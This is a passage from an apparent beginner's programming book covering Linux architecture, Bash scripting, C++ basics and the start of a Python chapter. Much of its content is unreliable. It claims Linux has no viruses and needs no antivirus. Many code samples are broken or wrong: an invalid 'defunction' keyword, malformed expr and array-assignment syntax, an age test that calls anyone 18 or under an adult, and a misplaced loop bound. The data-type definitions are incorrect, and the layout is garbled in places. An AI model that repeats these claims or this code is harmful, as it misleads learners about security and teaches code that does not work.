kill lets you end any given system process.

These are just the beginning of Linux command line prompts. Again, you can use the man command or help within most processes to better understand individual arguments, which there isn't space or time for here.

The last thing we need to talk about with the Linux command line before we go onto Bash scripting is piping. Piping is putting a vertical pipe between two commands. This allows you to send the output of the first command as an input to the second command. You'll see this from time to time, so you must know what it means.

Linux Architecture

Before we can get into some of the cool codes and learn more about what we can do with the Linux system, we first need to look at what Linux is.

While this may not have the name recognition that we will find with
some of the other operating systems out there, like Mac and Windows, you will find that Linux is creating its own niche and becoming more popular each day.

That is why we need to learn more about this and what we can do with it overall.

From cars to smartphones, home applications and supercomputers, and enterprise servers to home desktops, this operating system will be all around us.

This is a newer operating system in some respects, and it came out around the mid-1990s. Since that time, it has been able to reach a big user-base that is found throughout the globe. In fact, we will find that Linux is found, in one form or another, all around us.

Linux is versatile and a great option to work with, so you will find that it will be inside a lot of the options you use regularly.

For example, many phones are going to have Linux inside of them. It will also be found in thermostats, in cars, Roku devices, televisions, cars, and so much more. And it is also responsible for running much of what we can find on the Internet, so that is a big plus as well.

But, outside of being one of the platforms of choice to help out with a lot of the work that needs to be done with embedded systems, servers, and even desktops that are found throughout the world, Linux is going to have a lot of benefits that we can rely on as well. Compared to some of the other operating systems out there, it is one of the most reliable, worry-free, and secure options that you can choose.

With some of this in mind, it is time for us to learn a bit more about some of the parts that come with this operating system and how we can use these for our own benefit.

Here the information that you need to know as someone new to the Linux platform.

**What is Linux?**

The first thing that we need to take a look at is that Linux is going to
be an operating system.

It is similar to the operating systems that we use, such as Mac OS, iOS, and Windows. In fact, one of the most famous platforms on the planet, Android, is going to be powered thanks to the Linux operating system.

Linux operating system is one of the most sophisticated operating systems out there. To break this down, the operating system is simply going to be a type of software that will be able to manage all of the resources of the hardware associated with your laptop or desktop.

To keep it simple, the operating system will help manage all of the communication between the hardware and the software.

If you did not have an operating system in place, then the software would not function the way you would like.

You will find that, just like some of the other operating systems out there, the Linux operating system will come in with a few different pieces that we need to work with.

Some of these are going to include:

- **Bootloader**: This is going to be the software that can manage the boot process on our computer. For most users, this is going to be the splash screen that is going to pop up and then will go away when you are first booting up into the operating system.

- **Kernel**: This is going to be the one piece of the whole that is called Linux. This will be the core of our system, and it is responsible for managing the memory peripheral devices and CPU. The kernel is going to be the bottom level that we will find with our operating system.

- **Init system**: This will be one of the sub-systems that will bootstrap the user space, and then it will be in control of the daemons. One of the most widely used of these will be a system, which is also sometimes seen as the most controversial of them. This will be the system responsible for booting up the operating system once the initial booting is handed over from the initial bootloader we use.
• Daemons: These are going to be some of the background services. It could include scheduling, sound, and printing options, but you can move them around to fit your needs. They will either start up when you do a boot of the system or after you have had a chance to log into the desktop.

• Shell: You’ve probably also heard this word too many times or the Linux command line, which at one time scared many people away from Linux (perhaps because they thought they had to learn some mind-numbing command line structure to use the OS). The shell is the command process that lets you control your computer through commands by typing them into a text interface. Today, you can work with Linux without even touching the command line, but it’s important to work with it, as we will see shortly.

• Graphical server: This will be the sub-system that will display all of the different graphics you want on the monitor. It is called X or the x server.

• Desktop environment: This will be the piece of the operating system that you are actually going to spend time interacting with. This is the actual implementation of the metaphor ‘desktop’ made of programs running on the visible surface of the operating system that you will interact with directly.

There will be many options for this kind of environment that we can choose from, including Cinnamon, Xfce, gnome, utility, Pantheon Enlightenment, and more.

Each of these environments will include some of the applications that you need built-in, including the games, web browsers, configuration tools, file managers, and more.

• Applications: The desktop environment you choose is not going to come with many applications for you to choose from.

Instead, it will be necessary for you to search for the software titles that you want, and then you can find them and install them for your
needs.

For example, Ubuntu Linux is going to have what is known as the Ubuntu Software Center, which will help you go through thousands of apps, and then install the ones that you like the most from one centralized location.

Linux provides thousands of software titles that you can easily access and install, which is the same as Windows and Mac. Linux is pretty much famous among the developers and IT companies because you might have heard about viruses when it comes to Windows.

A virus is a program that works out of control of the user. Now, the beauty with Linux is that there is nothing called a virus. It is a very sophisticated operating system, and there is nothing like you need to download antivirus, or you need to find some viruses.

This makes Linux a wonderful operating system to use in IT companies and servers.

**Structure of the Linux Operating System**

Before I get into the different parts or the different components that make the Linux operating system, we need to understand that any operating system, whether it is Linux, Windows, Unix, or any operating system, it is a collection of specific functions or it is a collection of multiple components. Each component has a designated or a specific function.

For example, we have multiple departments in a company, and each department has designated work to do. In operating systems, we have multiple components or software components designed to perform specific functions.

Now will be discussing all the main components inside the Linux operating system.

**Linux Kernel**

Kernel is the heart of Linux. It is responsible for communicating between the hardware.
In your systems or any desktop, laptop, or server, you have the hardware devices like your CD reader, USB port, HDMI port, LAN port, and memory card readers. All of these are devices that are attached to your laptop.

The kernel is responsible for speaking to these devices using machine language. Machine language is nothing but 0s and 1s. The hardware or the processor of the machine understands everything in 0s in 1s. The kernel is more responsible for speaking to these devices in their own language and speaks with the software.

Inside the kernel, there are multiple responsibilities to be performed. The kernel is also responsible for managing the system resources.

In your system, we know that we have RAM, Hard disk, processes that go in, and we also have multiple devices attached to a system, and there are multiple user requests.

The kernel manages resources like how much RAM to be used, how much memory to be given, where to write on the hard disk, how to handle multiple user requests, which device to activate for a specific purpose.

All these are under resource management. Below are some resources:

**Memory Management**

The kernel checks two applications that need memory or the one requesting RAM, then determines how much memory is to be given to which application and decides the application to prioritize RAM allocation.

**Process Management**

Process Management is like having multiple processes; every application will have a background process that will be running.

So which process will get priority?

Technically the memory is assigned to processes, not the application. So when you run an application, it initiates multiple background processes, and each background process will be assigned some
memory.

Device Management

Device Management is like which device, e.g., USB port, Webcam, LAN port, should be used and how it has to be used.

Handling System Calls

Handling System Calls is like if a user performs multiple requests, which requests to be handled first, which requests to be handled second and third.

All those responsibilities go under the Linux Kernel.

System Libraries

Let us understand the system libraries in a different dimension.

See, we have the kernel, which is responsible for speaking with the system hardware. The users will be running multiple applications on an Operating System. The operating system needs to speak to the kernel.

It's impossible to allow each application to speak directly to the kernel because each application is developed by different persons or under different technology. For example, some applications are developed in Java, some in .Net. It becomes difficult to make sure that all the applications are directly able to speak with the kernel.

Now in this scenario, the operating system developers have created some free define programs.

These programs become the mediator between the kernel and the application so that it becomes easy for any developer to pick up the system libraries and develop their application.

Let's look at how system libraries help Linux operating system:

The first one would be applications that need to communicate with the kernel. Each application will try to communicate with the kernel, but it's hard if we allow different applications to communicate with the
kernel directly. So in this case, the different applications will have issues to directly communicate with the kernel because each application is built or developed by different developers by using different technologies.

There is no standard when talking about application development. Anyone can use any technology to develop the application.

Consequently, because we have multiple applications developed in different technologies, we need a standard processor.

**Standard System Libraries**

Operating system developers have created standardized system libraries. These libraries are nothing but predefined programs that are available inside the OS.

What they do is whenever they are building some applications, they will include these libraries which will have a set of functions. They will include the libraries depending on their requirement, and these libraries are responsible for speaking with the kernel.

Now when we look at the process of communication flow, it looks something like below:

Applications >> System Libraries >> Kernel >> Hardware System Tools

To run any operating system, we need some tools or predefined tools that help you navigate or work inside the operating system.

When you get the Windows operating system, we know that we have multiple tools to work with the operating system. We have a Control Panel, and the Command Prompt allows us to communicate directly with the operating system, and so on. The commands that help you manage your operating system come under system tools.

These are not user tools. There is a difference between system tools and user tools. The user tools would be like Notepad, Paint, and MS - Office, so on. The system tools would be your Control Panel, Device Driver Manager; all these come under system tools. The system tools
inside the Linux operating system are the comments and tools that help you operate OS in a standard way.

These are the commands to change directory, create/open/delete files, move files, etc.

So all these comments that help you manage to administer your operating system come under system tools.

Whenever you install any operating system, the system tools are already developed by the operating system developers, and you can use them to manage your operating system.

**Development Tools**

If you are a normal user of the Windows operating system, you already know that there are updates that come with the Windows operating system on a timely basis. You need to update your operating system.

These updates are nothing but bug fixes or other modifications done to the operating system and allow you to work faster or improve the operating system performance.

These developer tools are always available whenever it comes to any operating system; whether it is Windows, Linux, UNIX, all have the developer tools.

These developers' tools help developers create new OS applications. They are created to develop the OS level applications inside the operating system and make sure to release new updates to each operating system.

**End-User Tool**

End-user tools are the ones that will be used by the end-users such as Notepad, Paint, MS Office, Media player, Windows Browser, Web Browser, PowerPoint, and so on.

All these applications that are used by the end-users are known as End User Tools.

**Why Should I Use Linux?**
This is one of the first questions that many people are going to ask when they first hear about the Linux system overall.

They may be curious about why they should learn a completely new computing environment when the operating system that is already on their computer and was shipped to them when they ordered the device is working just fine.

Is it really worth the time to learn a new one and see how it works?

To help us answer this question, it is important to answer a few other questions to give us a good idea of what the Linux system can do for us that our traditional operating system cannot do. For example, does the operating system that you are currently using actually work just fine? Or, are you constantly dealing with a lot of obstacles like malware, viruses, slowdowns, costly repairs, licensing fees, and crashes all of the time?

If you find that these are things you are dealing with regularly, especially once you have had the computer for some time, you may find that the perfect platform for you to prevent some of this will be the Linux system. It is one of the operating systems that has evolved to become one of the most reliable out of all of them. And when you can combine all of that reliability with zero costs, you will end up with the perfect solution for the platform you need.

That is right; you can get the Linux system and all of the benefits that come with it all together for free. And you can take the Linux operating system and install it on as many computers as you would like, and use it as much as you would like, without having to worry about how much it will cost to use, how much the software is. You also don’t need to worry about server licensing.

We can also consider the cost of adding on a server in Linux compared to the Windows Server 2016. The price of the Windows option for a standard edition is going to be about $882 if you purchase it right from Microsoft and not from another company.

This is not going to include any of the Client Access Licenses, and the licenses for all of the other software that you decide are important and
need to be run in this as well, such as a mail server, web server, and a database.

For example, the single user who works with the CAL on the Windows system will cost you about $38. But if you need to have many users, that cost will go up pretty quickly. If you need to work with ten people on the server, you will end up with $380 to do that. And that is just with the software licensing that you would like to get done. But it is a bit different when we are working with the Linux server.

For the Linux option, you will be able to get all of that for free, and it is also easy for you to install.

In fact, being able to go through and add in a web server with all of the features, including a database server, is just going to take a few clicks or a few commands to get done. This alone, especially for some of the bigger businesses out there, will be enough to win others over this operating system.

But there are a few other benefits that are going to show up as well.

This operating system will work and keep out the troubles for as long as you choose to work with it. And it is often able to fight off ransomware and malware issues, and even viruses better than some of the others. You will not need to reboot this all that often unless the kernel has to be updated, which is often only done every few years.

If you have ever been frustrated with the operating system that you are working with and how it may not always do what you would like, that means it may be time for you to work with the Linux operating system. It will have all of the benefits that we want and will also be free to use, no matter how many computers you decide to hook it up to along the way.

**Open Sourced**

Another thing that we are going to enjoy when it is time to work with the Linux system is that it is open-sourced. This means that it will be distributed under this source license so that you can work with it in the manner you would like.
Open source is going to be useful for some reasons, but we will find that there are a few key tenants that we need to focus on, include:

- You will find that you have the freedom to run the program, no matter what the purpose is.

- You will find that you have the freedom to study and learn more about how this program works and what you can make any changes to it that you wish along the way.

- You have the choice to redistribute copies so that you can use it more than once for your own needs or to provide it to your neighbour who would like to use it as well.

- You will find that you have the freedom to make some modifications to it in the manner you would like, and then you can also distribute copies of these modifications to others.

There are going to be crucial points to understand when it comes to working with the Linux system and understanding more about the community that will work to create this kind of platform in the first place. Without a doubt, this is an operating system that is by the people and for the people.

These tenets are also going to be a big factor in why people will choose to work with this kind of operating system compared to some of the others. It is all about freedom, freedom of use, freedom of choice, and the freedom to not have to worry about many crazy rules and other issues along the way.
Chapter Four:

Linux And Bash

Scripting

An exceptional ability of a computer is that it can do automated tasks for you. In a Linux system, you can control the function by writing a "program" according to your preferred automated activities.

This is where scripts enter the picture.

What Is Scripting for?

A script is a collection of data and commands that are stored in files. A shell is in charge of reading the collection, and as it reads data, it follows the instructions. Scripts can handle basic tasks, as well as complicated ones. They can be used to perform powerful executions.

Scripting has many common uses, including:

- Retrieving updates
- Maintaining repositories of vital updates
- Gathering up to thousands of files and transmitting them to web servers
- Copying up to thousands of files to web servers Builds a hierarchy of pages

Writing & Editing a Script

A script contains ASCII texts. Writing a script is done via a text editor. To write a functional script, you should remember that it has to contain three lines.

Sample:
are considered *scripts within scripts*.

Sample:

```bash
defunction tomorrow {
    echo "Tomorrow's date is:" current date + "%A, %B %Y"
}
```

As the example shows, the "shell" function is used to display tomorrow's date, using the data from today's date. This is similar to the sample of an alias' method, but the difference is that it can display a custom statement ("Tomorrow's date is:" ) on top of the necessary data.

**Learning & Using BASH**

BASH, which is the short form for Bourne-again Shell, is a command processor that reads scripts. It operates in a text window. There, the user inputs command that particular cause actions.

BASH supports *glob*, which are patterns that specify a set of filenames. These filenames feature wildcard characters. Some wildcard characters are:

- `?` – for matching a single character
- `*` – for matching none or some characters
- `[abc]` – for matching one character that is present in a given bracket
- `![abc]` – for matching one character that is absent in a given bracket
- `[a - z]` – for matching one character that is present in the range of a given bracket
- `![a - z]` – for matching one character that is absent in the range of a given bracket

When BASH is set in concurrent mode, the execution of two commands is allowed. For these commands to be executed properly, they have to be presented with the use of an ampersand ("&").

Sample:
first command & second command

As the sample shows, "first command" is executed. Once the execution is finished, the "second command" is processed.

Rules of BASH:

With the use of the ampersand, one command can be executed in the "big" or background. Usually, a command's execution is done in "FG" or foreground A running process is subject to the system administrator's suspension by pressing "ctrl" + "z".

A background process might be suspended in favor of a running process

Moreover, there exists a command called BASHBUG. Once it is invoked, the default text editor is launched. It comes with a form that a user can fill in. Once completed, the form is mailed to BASH maintainers.

Scripting on Linux Using Bash

Here, we're going to be covering how to create Linux scripts using Bash.

Essentially, anything you would normally type into the Terminal can be put into a Bash script, and it will be functionally the same. At the same time, you can build on top of these using scripting logic to automate certain things that would be harder to do normally.

So essentially, Bash allows you to take Terminal commands you would normally have to type into the command line and make them into a file that you can click. Simultaneously, you can also add different things to make these scripts able to do more, like variables or conditionals.

Let's get right to it. Every Bash script starts the same way: #!/bin/bash

Create a new text file and type the following:

#!/bin/bash
echo hello world

Then go ahead and save that wherever you like, as filename here.sh. .Sh is the filename extension of shell scripts. Go to your Terminal, then navigate to where you saved the script. But wait! You can’t run the script immediately. You have to modify the permissions of the script so that you can run it. This is extremely easy. You just type the following:

chmod 755 scriptnamehere.sh Then you can run it like so:

./scriptnamehere.sh

After that, you should see the Terminal echo back hello world to you. There you go! Your first Bash script.

Go back to your script and change the text to be the following:

#!/bin/bash

echo "here are the contents of the directory:" ls -l

From this example, you can see what I meant earlier: Bash scripting literally just allows you to create a long-form version of the same commands that you were using in the Terminal just earlier.

Variables

Variables are a necessary part of any sort of scripting. Bash scripting has a couple of special variables that you need to know.

The main ones are command-line arguments. Bash scripts will accept numerous command-line arguments - these are arguments given to the script when you type it in. For example, $1 and $2 stand-in for the first and second command-line arguments. If you were to have the following script:

echo $1 and $2

and you were to launch the script like so:

./script.sh "peanut butter" "jelly" It would print like this:

peanut butter and jelly
Of course, these can be used for more serious purposes as well. You could use the copy command to copy one directory to another. In your script:

```bash
cp $1 $2 ls -l $2
```

Then when you execute the script:

```.myscript.sh directory1 directory2```

You can also develop your own variables in Bash scripting with relative ease. You can do so by naming the variable, then set it equal to something, like so:

```
apples=6
```

Then you can recall the variable by referencing the variable name with a dollar sign in front:

```
echo I have $apples apples
```

Sometimes, you'll need to read information from a user in a script. This is easy! All you do is this: read variableName

Then you can manipulate variableName (this being whatever you want) as you wish by referring to it again using the dollar sign. This is how you always reference a variable, no matter what.

You can also read in more than one variable at a time by simply asking to read multiple variables:

```
read var1 var2 var3 var4
```

Then the user inputs them with just a space between. Space automatically separate them into distinct answers. If the user were to enter five things here, the fourth and fifth things would be added to $var4, space included because there was no fifth variable.

**Bash Math**

Bash math is elementary. It follows the same arithmetic concepts as other scripting languages and programs, for the most part. However, there is no raw assignment in Bash. Rather, you have to prepare the
assignment with the `let` keyword, like so:

```bash
let "var3 = 4 * 5"
```

This saves the answer to the given variable.

`expr` allows you to do similar, but it prints the answer instead of saving it somewhere. It's very straightforward. Like so:

```bash
expr 5 + 4
```

**Conditionals**

Bash allows you to set up fundamental conditional statements. You can set those up like so:

```bash
if [ condition ] then
  # code
fi
```

And else conditions can likewise be set up like this:

```bash
if [ condition ]
then
  # code else
  # code
  # code fi
```

And lastly, you can set up else if conditions like this:

```bash
if [ condition ]
then
  # code
  Elif [condition] then
    #code
    #continue until no more conditions else
    #code fi
```
The hardest thing about these is setting up the correct condition. Here are the various tests you can do to check different conditions:

```
a = b
```
Checks to see if the two are letter-for-letter the same thing.  
```
a != b
```
Checks to see if the two are not the same.  
```
a -eq b
```
Checks to see if the two are numerically equivalent. (or is equal to 1)  
```
a -gt b
```
Checks to see if a is greater than b.  
```
a -lt b
```
Checks to see if a is less than b.

**Loops**

There are two main loops that you need to know in Bash scripting, just like in C++ and Python: *while* and *for* loops.

*While* loops simply execute for as long as a given statement is true.  
```
while [condition]  
do  
code done
```

Meanwhile, *for* loops will work through a list of objects and then do something for each item in the list.

```
fruits = 'bananas apples oranges pears' for fruit in $fruits  
do  
echo $fruit done
```

# This would print each fruit, one at a time.

We'll be talking more about this method of iteration later. For now, you just need to know the barebones functionality of this loop.

**Functions**

Bash functions are extremely easy. They take arguments in a similar
way to Bash scripts in general, using $1, $2, and so on. Here's the calculateSquareFootage function as a Bash function:

```bash
calculateSquareFootage () { expr (( $1 * $2 ))
}
calculateSquareFootage 3 4 #would print 12
calculateSquareFootage 3 5 #would print 15
```
Chapter Five:

Using C++

Once we've gotten all of that done, it's time that we start talking about building actual programs in Linux. The first language that we're going to be working within is C++. Earlier, we've talked about why C++ is such an important and foundational language for Linux and Unix-like systems in general. A huge amount of software for Linux is written in C++, and it's just a monolith of a language that's majorly stood the test of time. Even today, when one needs an efficient language that can get things done cleanly, C++ is the go-to language. This is why it's the industry standard for resource-intensive applications that don't need a rapid prototyping phase.

There is a multitude of different reasons to use C++. However, in the age of rapid prototyping, quick returns, and lots of computing power, there are better choices in many cases. With that said, for serious enterprise development projects, C++ remains one of many go-to. Beyond that, there's one straightforward reason to learn C++: no language will get you more intimately connected with your computer while still offering you the complexity of object-oriented programming as C++ will. In other words, C++ is an amazing language to learn because it gives you a huge amount of programming utility, but it also offers you the ability to really know and learn what you're working with.

Perhaps, in some ways, it would be better to start with Python first; after all, Python is in many ways a far easier language to pick up and learn than C++ is. However, I'm choosing to put C++ first because it's better to start hard and learn the concepts. Python arguably offers too much abstraction for a new programmer, who is benefited the most from learning properly everything they're working with.
Programming in C++ in Linux is elementary. All C++ programs are compiled. This means, naturally, that you need a compiler. You'll have first to install this. Open up a Terminal window, then type the following:

```
sudo apt-get install GCC gcc-c++
```

This may vary depending on what distribution you're using. For example, on Fedora, the command would be `sudo yum`. We already talked about these sorts of differences in the section prior, but it's worth rehashing them to ensure that you're ready to deal with them.

After your compiler is installed, you need to learn how to compile. All you do is navigate to the location of your given .cpp file. Then, you type in the following:

```
g++ -o executable name source name.cpp
```

Then you type `executableName` into the command prompt to run the file.

So now, let's get to creating our first program. What you're going to do is going into your text editor of choice and then start writing code. Save your file first thing so that you get syntax highlighting. Save it wherever you want and under whatever name you want, remembering that the filename extension must be .cpp.

Within your text file, type the following: 

```cpp
#include <iostream>
using namespace std; int main() {
cout << "hello world\n"; return 0;
}
```

From here, you need to save it and compile it. Navigate to it in your Terminal, run the compilation instructions as I gave them earlier, and then try to run the file. It should print "hello world" out to the console. If it does, then congrats! You just wrote your first C++ program. How does it feel?

Don't worry, though; there's a long path ahead. Let's start by breaking
this program down line by line. If something is a little more advanced than you're ready for at this level, I'll give a cursory explanation before we move onto the next topic.

#include <iostream>

This is a preprocessor directive. In other words, what this does is tell the compiler things it needs to know about the code before it does absolutely anything else with the program. In this specific instance, it's telling the compiler to include a certain library. Libraries (also called headers, depending on what language you're working with) are chunks of predefined code that exist too, essentially making your life easier. The iostream library is the specific C++ library tailored towards defining input and output streams, our primary example here being the console. Thanks to this line, we're able to output text.

You can build your own libraries and headers, but that's something far beyond the scope of what you want to do right now. Knowing this is an important part of modular programming, though, so bear it in mind; every program can be broken down into multiple programs and multiple chunks of code.

using namespace std;

Technically, this line isn't necessary, but we're using it anyway. This tells the compiler that we're going to be using a certain namespace within our code. Namespaces are functionally similar to headers in some ways; for example, they allow you to predefine chunks of code and necessary functions, then utilize them in other code files. Headers, in fact, are generally composed of different namespaces and preprocessor directives. By declaring this, we can quickly and efficiently output text. We'll get to that in just a second.

int main() {
  
  // ...

}

This is just a function declaration. This is, in fact, the entry point of the code. All programs must have an entry point; the compiler or
interpreter will start to read code. Some programming languages use implied entry points at the first instruction, and some choose to require an explicit entry point. We'll be working with both sorts. C++ is the latter. We'll be talking about function declarations more in-depth soon, but for now, remember that every program must have this.

```cpp
cout << "hello world\n";
```

A lot is going on in this line, so we're going to go ahead and break it down one component at a time.

First, we have a `cout`. This stands for console out. This is the main method by which you can print out characters to the console in C++. This is actually a member of the `std` namespace. If we hadn't used `namespace std`, we'd have to call this every time by saying `std::cout` instead of just `cout`. This can make quite a big difference in terms of the efficiency of typing. The argument against this is that including an entire namespace is a bad habit and can lead to inefficient code. This is your discretion. Eventually, you'll come to know whether or not to do it just based on the project’s scope and the parameters thereof.

Then, we have `<<`. This is, for lack of a better explanation at this point, the output operator. Whenever you're sending something to be output, you need to use this. You can also break up text output into many different segments using this. If you need to print out variables, you'll do so by dividing output strings and variables. You'll see that in a second.

The last major part of the line that we need to talk about is the `\n`. This is called an escape sequence. Escape sequences are used to denote things to the compiler that are difficult to intimate otherwise. For example, whitespace is a non-factor for C++ programs. If it weren't for coding conventions, you could space out your code however you wanted, and as long as all of the syntaxes were right, it would still compile. There isn't a precise way to put a tab at the start of a line, nor to initiate a line break within a string. With escape sequences, however, you can do this. To insert a new line, you use `\n`. To denote a
tab at the start of a line, you use /t. This is the general convention. There are many other escape sequences, all of which with their own unique use cases. However, these are the two most prevalent sorts that you're going to run into.

Also, note that the line ends with a semicolon. In C++ (and most C-style languages), every raw code statement ends with a semicolon. This is important because it means the termination of a statement, which lets a compiler know when a "sentence" of code is complete, and it can move on to the next part.

The last line is just this: return 0;

All this indicates is that the program is ending. What it's really doing is telling the compiler, "hey, we're in the main function of the program, and I'm returning a value, so now the main function is closing, and the program can be closed." Since the main function of a C++ program is an int, it must return a number.

With that basic program broken down, we can now move on to something a little more in-depth, using the variables and values we talked about earlier.

**Values and Variables in C++**

Values and variables in C++ are really complex beasts, yet they're also straightforward. They're complex because you have to know exactly what you're wanting, but at the same time, they're simple because they can only take so many forms, and they're far more finite than variables in, say, Python.

There's not even an inkling of complexity to them once you start to have a firm grasp on the concepts you're working with, but at first, things can be a bit confusing. My intent here is to make them not as confusing as possible.

As we discussed in a previously, all values may take on different forms. All of the following are valid values in terms of computer science:

14670
"I'd like to buy a new car." b

True

So how does one actually manage these? How can you "keep" one of these and change it at a later point? Through establishing variables, of course. The general way of establishing variables in C++ is like so:

```cpp
type variableName = value;
```

So how do you know the type? By looking at the value.

You can probably already guess some of the types we're working with just by looking at them. However, there is something more to it. Here are all of the different values that I just typed, with their specific type right beside them and a brief explanation:

- `14670` - `integer`, denotes whole numbers positive or negative
- `000013` - `floating-point`, denotes number with a decimal place
- `13.46` - `double`, denotes number with two decimal places
- "I would like to buy a new car." - `string`, denotes a sequence of characters
- `b` - `char` denotes a single ASCII character (not necessarily alphanumeric)
- `True` - `boolean`, denotes true or false

Keeping that in mind, let's go ahead and create a new C++ file for us to work with. In this file, we will be playing around with different values and trying to make new variables.

The essential file structure is going to be much the same; many of your early C++ files are going to share that same file structure, actually, focused around utilizing the console as a means of output. So go ahead and set up an empty shell. From now on, when I say to construct an empty shell in C++, what I mean is to create a file which essentially looks like this:

```cpp
#include <iostream> using namespace std; int main() {
```
// code goes here return 0;

}

Code operations will be performed within the main function unless otherwise intimated in the reading, which will happen when we start looking at C++ functions and function declarations. Anyhow, we're just going to be looking at the main function for right now, so it doesn't matter.

So, moving from here, let's look back at those values we established a minute ago and their types. All of them are primitive types except for the string. What this means is that all of them can be created without any extra libraries or class establishments.

Let's imagine we wanted to create a variable in our empty shell called bananas, which held the value 3. How do you suppose we would do that?

Well, first, we have to figure out what type it is. Since it's a number, it's pretty clear what type it is - it's an integer! Remember, integers are always whole numbers. Then we have to have a name for the variable in question. We've already decided that the name would be bananas, and the value would be 3. So how would we declare this variable? Just like this:

```c
int main() {
    int bananas = 3; return 0;
}
```

This is the general scale for creating variables in C++. So what if you wanted to create a string? Well, you'd have to include another header:

```c
#include <string>
```

You could then create strings like any other variable and access string class member functions, which would allow you to do various operations on the strings. In order to verify that this is the correct value, on variable bananas, we could actually test it out by adding a console output statement:
int main() {
    int bananas = 3;
    cout << " I have " << bananas << " bananas!\n"; return 0;
}

If you were to save and compile this, it would print out: I have 3 bananas!

There you go! Those are the fundamentals of creating and changing variables in C++.

Data Sets

We're not going to cover the STL in C++ at this point. It goes a fair bit beyond the scope of this reading. Because we aren't going to cover the STL, we aren't going to be talking about vectors and how you use them in C++. If you're interested in learning how C++ vectors and sets work, then I'd advise you to Google such; in many C++ programs, given the reasons for using C++ in the first place, it's often counterintuitive to attempt to use vectors for these sorts of things because they take up an inordinate amount of memory space compared to allocated memory sets. However, they can also be a bit easier to work with than arrays. It can very much be situational, but the chances are that if you're creating a program where it makes sense to use vectors, it's probably the sort of program where it makes more sense to use another language entirely.

Instead of vectors in this section, we're going to be covering arrays. Arrays are the primary method of storing sets of data in C++. They are highly extensible and can store numerous pieces of related data next to one another. We'll be talking a bit more about the actual concept here momentarily. Still, the key thing to know about arrays is that they actually allocate memory space - just enough for all elements listed in the array. The array is then divided into individual spaces, which are the elements that I'm referring to. These elements start counting from zero. If we had a 10 space array, it would be organized like this:

[0] [1] [2] [3] [4] [5] [6] [7] [8] [9]
These slots are able to take a value of the type specified upon creating the array. When you reference one of these locations, the array will work with the place in memory and modify that corresponding value.
(This is one of the best things about arrays)

However, beyond that, they have raw utility. That function, being based on pointers, may not be necessary until you start working with passing arrays between functions, where you'll be sending pointers to values.

Much like establishing a normal value, we don't need too much information to set up an array. All that we need, in fact, is the type and the size of the array that we're wanting. If we want an array that holds 10 values, we can use it to initialize it.

Create a new file with an empty shell, and in the main function, type the following:

```cpp
int studentOneGrades[10]; int studentTwoGrades[10]; int studentThreeGrades[10];
```

This will initialize three arrays with 10 indices each. From here, you need to populate these arrays. The easiest way to populate an array is to assign it a value by selecting an index:

```cpp
int studentOneGrades[0] = 99; int studentOneGrades[1] = 93; int studentOneGrades[2] = 97;
```

However, this is unwieldy! Instead, you can populate an array from initialization by using braces and values separated by commas:

```cpp
int studentOneGrades[10] = { 99, 93, 96, 92, 89, 81, 85, 100, 83, 91 };
```

Then, if you want to select an index from the array and print it out, you have to use it like any other variable, specifying the array. However, there is one slight change: remember that arrays start counting at 0. So if you wanted the thing at position 4, you'd actually want the index 3. Try this out:

```cpp
cout << "Student one, fourth grade: " << studentOneGrades[3] << "\n";
```
This will illustrate how to print the fourth grade in the list. You need to select the third element from the list. The first element to select would be index 0; the second would be index 1, and so forth.

Comparison and Conditionals

Earlier, we talked about how programs have notions of truth that they are built on and which the decision making of programs heavily relies upon. For example, whether a statement is true or false can massively impact a given program's flow.

Well, to have these sorts of decisions be made, you need to have something to base them off of. We also talked about these a bit earlier: comparison tools.

These are the comparators in C++:

- \( a < b \) - \( a \) is less than \( b \)
- \( a > b \) - \( a \) is greater than \( b \)
- \( a \leq b \) - \( a \) is less than or equal to \( b \)
- \( a \geq b \) - \( a \) is greater than or equal to \( b \)
- \( a == b \) - \( a \) is equal to \( b \) (note the double equals!)\( a != b \) - \( a \) is not equal to \( b \)

You also have logical operators which allow you to check more than one thing at a time:

- \( || \) - or
- \( && \) - and
- \( ! \) - not (checks to see if the statement is false)

I'm not going to waste your time going over definitions of if, else, and else if, as I already did so in the beginning. Here is the syntax of an if-else statement in C++:

```cpp
if (age <= 18) {
    cout << "You are an adult!\n";
}```
} else if (age < 18 && age >= 13) {
    cout << "You are a teenager!\n";
} else {
}

cout << "You are a child!\n";

Loops

Loops in C++ are relatively straightforward. There are only two that you need to know.

The while loop in C++ works similarly to the way it does in Bash. It will execute for as long as a statement validates to true.

Here is how you would count from 1 to 10 in C++: int i = 1;
while (i <= 10) {
    cout << i << "\n"; i++;
}

Meanwhile, for loops work differently than they do in either Python or Bash. For loops in C++ still are meant for iteration, but they have a far more logical path about them and aren't strictly meant for moving through different lists.

Here's how you can understand a for loop in C++:

for (iterator variable; continuation condition; iteration step) {
    // code goes within
}

If we wanted to count from 1 to 10 using an array, then we would do it like so:

for (int i = 0; i <= 10; i++) {
    cout << i << "\n";
Every time the loop was completed, the iteration step would change the iterator variable, i++, or i = i + 1, indicating an increase.

Functions

This is the last real meat of the C++ section. Functions are relatively easy to understand. The hardest thing is remembering that all functions must be typed in C++, and therefore, all functions must return a value. The only exception is if a function is a type void.

If we wanted to return to the square footage function, then we'd be returning a number and an integer at that. Therefore, we know that if we wanted to make the square footage function, we'd have to type it as int. This also means it would have to return an integer.

Making the square footage function would look something like this: int calculateSquareFootage(int length, int width)

return length * width;

We could then reference this later in our code like so:

int area = calculateSquareFootage(3, 4); // would return 12 cout << area << "\n";

cout << calculateSquareFootage(3, 5) << "\n"; // would print 15

Conclusion

With that, we've covered the bulk of the messy beginner stuff in the C++ programming language. Now we have to move onto Python and start paying our way through there!
Chapter Six:

Learning Python

C++ is denser of a language than Python, which is made for rapid prototyping and quick, messy scripting. In no way is C++ meant for either of these! However, that means that C++ and Python have many differences that make it a little better to learn C++ first, to be a better programmer.

When you learn C++ first, you're learning to be mindful of your resource usage. Python takes care of a lot for you. For example, you don't have to worry about a variable's value when passing to a function, and you don't really have to worry that a variable is just going to be a copy of a variable, and you especially don't have to worry about freeing up memory that you're using. When you learn C++ first, you learn to be mindful of these things from the get-go. There are ways to be mindful of them in Python simply by following good practices and not being immensely wasteful in the very essence of your code.

Second, when you learn C++ first, you're learning to be more mindful of what you're making. You have to explicitly type every function and variable instead of just letting it be implied. This also forces you to bear it in mind as you play around with different variables and start to become a better programmer. When you're starting, you'll have to pay attention to the fact that variable c is an int while variable d is a string. You don't have to worry about this, but it's good practice to keep things like value types in your head all the time as you're working on a language.

With all of this said, there are a lot of advantages to learning Python, too. First off, it's one of the most commonly learned and used programming languages in the world today. This means that there is a huge amount of documentation available to you as a novice Python
